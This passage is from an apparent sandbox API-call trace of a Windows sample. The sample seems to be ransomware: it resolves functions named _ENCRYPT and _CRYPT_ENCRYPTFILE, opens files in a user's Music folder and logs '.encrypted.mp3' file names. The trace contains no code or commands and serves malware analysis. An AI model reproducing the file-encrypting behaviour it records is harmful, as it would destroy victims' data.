wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.780] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.780] CharLowerBuffW (in: lpsz="byte[19542]", cchLength=0xb | out: lpsz="byte[19542]") returned 0xb [0026.780] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.780] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0026.780] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.780] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0026.780] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.780] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.780] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.780] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0026.780] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.780] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.780] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.780] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.780] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.780] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.780] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.780] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.780] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.780] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.780] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.780] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.780] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.781] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.781] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.781] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.781] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0026.781] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.781] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.781] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.781] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0026.781] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.781] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.782] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.782] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.782] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.782] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.782] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0026.782] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.782] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.782] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.782] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.782] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.783] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.783] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.783] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0026.783] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.783] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.783] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.783] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.783] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.783] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0026.783] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=6420) returned 1 [0026.783] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.783] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0026.783] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0026.783] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1914, lpOverlapped=0x0) returned 1 [0026.784] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0026.784] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x1914, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.784] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=6420) returned 1 [0026.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\7hpbkBpy8QXZhHut.encrypted.mp3\r\n", cchWideChar=60, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0026.784] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\7hpbkBpy8QXZhHut.encrypted.mp3\r\n", cchWideChar=60, lpMultiByteStr=0xe8f40514f0, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\7hpbkBpy8QXZhHut.encrypted.mp3\r\n", lpUsedDefaultChar=0x0) returned 60 [0026.784] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4050f00*, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4050f00*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x3b, lpOverlapped=0x0) returned 1 [0026.784] CloseHandle (hObject=0x188) returned 1 [0026.785] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.785] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.786] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.786] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.786] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.786] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0026.786] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.786] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0026.787] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0026.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178420, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0026.787] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0026.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41788c0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0026.787] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0026.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\desktop.ini", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0026.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\desktop.ini", cchWideChar=39, lpMultiByteStr=0xe8f41889f0, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\desktop.ini", lpUsedDefaultChar=0x0) returned 39 [0026.788] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\desktop.ini" (normalized: "c:\\users\\5jghkoaofdp\\music\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0026.788] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=39, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 39 [0026.788] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=39, lpWideCharStr=0xe8f406a3d0, cchWideChar=39 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\desktop.ini") returned 39 [0026.788] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0026.789] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.789] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.789] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0026.789] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0026.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178940, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0026.789] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0026.790] CloseHandle (hObject=0x188) returned 1 [0026.790] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0026.790] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.790] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.790] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0026.790] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.790] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0026.790] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0026.790] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.790] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.790] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.790] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.790] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.790] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.790] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.791] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.791] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.791] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.792] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0026.792] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.792] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0026.792] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.792] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.792] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0026.792] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.792] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.792] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0026.792] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.792] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0026.792] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0026.792] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.792] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.792] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.792] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.792] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.792] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.792] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0026.792] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0026.792] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.792] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.793] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.793] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.793] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.793] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.793] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.793] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.793] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.793] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.793] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0026.793] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.793] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.793] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.793] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 